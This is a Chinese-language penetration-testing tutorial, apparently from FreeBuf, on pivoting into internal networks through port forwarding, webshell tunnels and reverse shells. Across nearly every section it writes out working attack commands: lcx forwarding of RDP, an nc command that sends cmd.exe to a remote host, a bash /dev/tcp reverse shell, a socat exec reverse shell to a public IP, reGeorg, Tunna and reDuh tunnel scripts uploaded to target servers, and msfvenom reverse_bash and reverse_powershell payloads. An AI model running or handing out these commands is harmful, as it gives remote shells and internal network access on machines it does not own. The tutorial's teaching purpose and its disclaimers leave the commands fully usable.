浅谈内网端口转发

by cmdgaga

在渗透测试过程中,我们经常会用到端口转发,利用代理脚本将内网的流量代理到本地进行访问,这样极大的方便了我们对内网进行横向渗透。最常见的端口转发工具不限于以下几款,大家可以根据在实际测试过程的需要进行选择。

开门见山

lcx端口转发

前提是在端口转发的时候需要一台公网服务器,lcx是一款轻便的端口转发工具,Lcx程序多用于被控制计算机处于内网的时候,被控制机可能中了木马程序,虽然能够进行控制,但还是没有使用远程终端登录到本机进行管理方便,因此在很多情况下,都会想方设法在被控制计算机上开启3389端口,然后通过lcx等进行端口转发,进而在本地连接到被控制计算机的远程终端并进行管理和使用。在没有端口转发的情况下外网主机是不能直接连接内网主机的,但是lcx工具可以将内网主机(出入内网主机的需要能够ping通互联网)的某个端口抓发到外网的某个端口上面,这样的话处于外网的主机可以将映射到外网的端口再反弹到另一个外网的端口上面(用的最多的是3389),这样我们就可以直接远程连接反弹的端口就可以与内网主机进行通信。故内网已经打通,说实话lcx的工具如同在路由器上面做了端口转发。

1565084440_5d494b183ed27.png!small

在被控制端执行命令:lcx.exe -slave 192.168.205.1 53 192.168.205.143 3389 //将内网3389端口转发到公网53端口;

在控制端执行命令:lcx.exe -tran 53 1234 //将接收到的53端口反弹到1234端口;

执行完毕后,我们会发现内网的3389已经反弹到公网53端口:

1565085503_5d494f3feeaf1.png!small

我们本地远程连接192.168.205.1:1234,就可以访问到内网主机,这样我们就可以远程登陆内网服务器,进行内网的横向扫描(请勿非法使用):

1565085558_5d494f765ff26.png!small

1565085558_5d494f767164e.png!small

nc端口转发

nc这个工具不仅可以反弹端口,也可以作为扫描器使用,在这里我们只是介绍一下端口转发的作用。内网服务器将cmd.exe(就是个shell)主动响应到你电脑的777端口。你再在本地机上监听777端口,这样就进入了对方的cmd了。

我们在分别在内网与公网服务器执行以西命令:

nc -t -e cmd.exe 192.168.205.1 8888 //在内网服务器上面执行此命令,将在公网服务器开启一个cmd的窗口;

nc -lvp 8888 //在公网服务器上面执行此命令,接受来自内网的信息,将信息反馈到公网的8888端口;

当我们端口转发成功后,在公网服务器上面会反弹一个cmd的命令窗口,这个就是内网服务器的,在上面可以执行系统命令,如下图所示:

1565140673_5d4a26c18ef24.png!small

1565140684_5d4a26cc45501.png!small

1565140684_5d4a26cc4e1a2.png!small

1565140684_5d4a26cc51f50.png!small

socks 代理工具

下面配合实验来介绍一下sockes代理工具,主要涉及reGeorg、Tunna

reGeorg端口转发

reGeorg不用多介绍了,内网渗透中常用工具之一。小白经常用于渗透测试中的内网转发,主要是因为方便实用。这个工具需要配合

proxifier,使用的socks5代理进行运用的。标红的是我们需要的脚本,根据自己的需要结合实际测试环境来选用的。

1565141963_5d4a2bcbd8adb.png!small

首先我们现经代理脚本上传到服务器,实验的环境是jsp的,所以上传代理脚本tunnel.nosocket.jsp,然后我们在浏览器访问一下,如果出现以下提示就说明代理成功。

1565143235_5d4a30c38a827.png!small

上传代理脚本成功后,我们打开proxifier进行配置参数,代理的端口默认是8888,代理的规则我们设置为谷歌浏览器,如果其它的不需要可以去掉勾:

1565142603_5d4a2e4bed2f6.png!small

1565142678_5d4a2e96b7d2c.png!small

上述代理参数配置完毕后,我们在cmd输入一下命令就会出现下面的界面:python2.exe reGeorgSocksProxy.py -p 8888 -uhttp://xxxx:8888/tran.jsp。这样的话我们就把内网的流量代理到外面,我们下一步就可以使用扫描工具进行内网的横向扫描。就这么简单直接。如果内网中的3389只能是内网进行连接的话,我们可以使用mstsc.exe通过代理进行连接3389远程桌面,其它的端口都是一样的道理,灵活运用即可。(仅限学习,切勿在未授权的情况下使用!!!)

1565143257_5d4a30d992c69.png!small

Tunna端口转发

Tunna这个工具使用起来也特方便,脚本的编写也是基于Python2版本。运用的时候也需要我们把代理脚本上传到目标服务器,然后通过代理内网的某个端口,注意这个工具只能代理一个端口,有点局限性。但是我们可以代理3389、22、3306、1433等敏感端口,然后将敏感端口流量转发了外网的的某个端口,我们再通过本地连接外网的端口进行连接,这样的话我们就可以使用了。

1565144364_5d4a352cc163c.png!small

第一步:我们将代理脚本上传到目标服务器,在浏览器访问代理脚本是否被解析:

1565146325_5d4a3cd5010a2.png!small

第二步:运行proxy.py 并指定端口 python proxy.py -uhttp://192.168.205.143/conn.php -l 1234 -r 3389 -v;

第三步:本地执行rdesktop 127.0.0.1:1234;

reDuh端口转发

reDuh也是一款内网渗透利器,这个工具可以把内网服务器的端口通过http/https隧道转发到本机,形成一个连通回路。用于目标服务器在内网或做了端口策略的情况下连接目标服务器内部开放端口。服务端是个webshell,工具里面针对不同服务器有aspx,php,jsp三个版本,客户端是java写的,本机执行最好装上JDK软件。

1565146838_5d4a3ed69917a.png!small

1565146921_5d4a3f2991817.png!small

我们将代理脚本上传到目标服务器,在本地访问代理脚本

1565147942_5d4a4326e07e8.png!small

这样我们执行一下三条命令就可以成功将目标主机的3389端口代理到本地的1234端口,本地连接1234端口就可以登陆内网服务器。

java -jar reDuhClient.jarhttp://somesite.com/reDuh.php

1565148338_5d4a44b2a4bb7.png!small

本地连接1010端口

nc -vv localhost 1010

1565148315_5d4a449b1de95.png!small

连接成功会有欢迎提示,之后输入命,在java命令窗口执行

[createTunnel]1234:127.0.0.1:3389

1565148338_5d4a44b2b57ca.png!small

1565148338_5d4a44b2b9186.png!small

使用mstsc登录127.0.0.1:1234,到了这一步就算成功了,我们可以根据前期抓取到的登陆密码进行登陆。

1565148397_5d4a44ed86d21.png!small

1565148427_5d4a450b317f1.png!small

由于小白能力有限,其它的sockes代理后续会以实验的形式 再呈现给大家。下面说一一下bash端口转发。

山转一角

Linux一句话端口转发

我们在渗透测试中回经常遇见Linux主机环境,我们将获取到Linux主机的shell为内网渗透的工作之一,但有时候把并不是我们想象的那样简单,毕竟目标主机是处在内网环境中没有公网IP是无法与我们的公网IP进行通信的,中间隔了一道墙这怎么搞?

1、bash直接反弹端口:

bash一句话反弹shell,个人在实际渗透中用的也比较少,但是我看着别人都说还比较方便,那么下面就来看一下,这个bash怎么反弹端口的。

首先我们在我们先在目标主机上面执行命令:bash -i >& >/dev/tcp/公网IP/端口 0>&1;

我们先不看执行的效果如何,分析一下这个命令的含义:

bash -i //意思指的是产生一个bash的交互环境;

>/dev/tcp/公网IP/端口 //大佬们其实一看就明白,就是让内网主机与公网主机的某个端口进行连接;

0>&1 //将标准输入域标准输出内容相结合,然后重定向给前面的标准输出内容;

然后在公网服务器上面执行监听命令,这样的话就能把内网的shell转发到公网服务器:nc -lvvp 端口

1565160888_5d4a75b8b2842.png!small

1565160894_5d4a75be79ae1.png!small

在目标主机上面查看端口信息发现,目标主机与公网IP的8888端口建立了连接,故内网主机的shell反弹到了公网服务器。

1565161618_5d4a7892cbea3.png!small

除了bash一句话可以反弹shell,还包括不限于python\java\per\php等脚本的一句话,感兴趣的大佬都可以自己去研究一下。小白就不在这里班门弄斧了。

冰雪来袭

socat 反弹一句话

Socat是Linux 下一个多功能的网络工具,它与nc工具差不多,但是看了网上多说人反馈相比NC工具方便的多。为了方便测试,内网主机我们用kali,因为kali上面不用安装,需要在公网IP安装一下。

首先我们在公网上面执行监听9999端口的命令:socat TCP-LISTEN:9999 –

目标主机上面执行以下命令:socat exec:’bash -li’,pty,stderr,setsid,sigint,sane tcp:106.xxx.xxx.115:9999

执行完毕后,公网服务器上面就会出现内网的bash,可以执行系统命令。

1565162515_5d4a7c1324ca5.png!small

msfvenom 获取反弹一句话

MSF渗透测试框架除了常规的端口扫描、口令爆破、抓包、提权等操作,还可以作为生成一句话反弹shell的工具。我们需要在MSF上面查询到各类的路径信息。本机的服务器有点卡,就不一一列出各类的路径信息。

首先使用bash反弹生成一句话,执行一下命令:msfvenom -p cmd/unix/reverse_bash lhost=MSFIP lport=5555 R 这条命令也可以在自己kaili上面执行生成,只是把IP改为自己的公网IP,本地测试的时候在公网服务器生成的事件特慢,不知道什么原因。

1565164009_5d4a81e919a26.png!small

一定要先在公网服务器监听5555端口,然后把生成的执行语句在目标主机上面进行执行(执行的命令为上个图片中标红的命令)。不然会出错的。

1565164083_5d4a8233d5edd.png!small

1565164117_5d4a825548b6b.png!small

接下来我们玩个刺激的,看看powershell能不能行的通?我们搜索搜索一下是不是有powershell这个模块,通过命令查询,果不其然有这个模块,你要知道pwoershell这个渗透测试框架是非常牛逼的,我们在安全测试过程中不仅遇见Lin环境,更多的遇见的是Win环境。废话少数,下面开始测试

msfvenom -l payloads |grep ‘reverse_powershell’ //查询powershell模块的位置

1565164240_5d4a82d0c9db1.png!small

msfvenom -p cmd/windows/reverse_powershell lhost=106.xxx.xxx.115 lport=8899 r //生成payload,类型是Powershell,标红的一段是需要在目标主机上面执行的命令。

1565164449_5d4a83a15ed3f.png!small

由于执行的命令太多了,小白在这里就不罗列了,还是那句话,首先在公网服务器上执行监听的命令:

nc -lvvp 8899 //监听本机的8899端口

下面我们在内网服务器上面执行Powershell命令,看看公网上面会不会反弹shell:

1565165252_5d4a86c440d2f.png!small

经过测试,发现内网主机的shell已经反弹到了公网服务器,至于红色报错小白猜想可能是内部信息的报错。

1565165291_5d4a86eb24c99.png!small

1565165480_5d4a87a81f9ac.png!small

1565165516_5d4a87ccd8d47.png!small

说了那么多其它的脚本格式的转发也一样,在这里小白就不一一唠叨了,本小白本着学习的态度以及让大佬们挑错的目的来写这篇基础中基础的文章。还望大佬们多多指点。

*本文原创作者:cmdgaga,本文属于FreeBuf原创奖励计划,未经许可禁止转载

Shared via Inoreader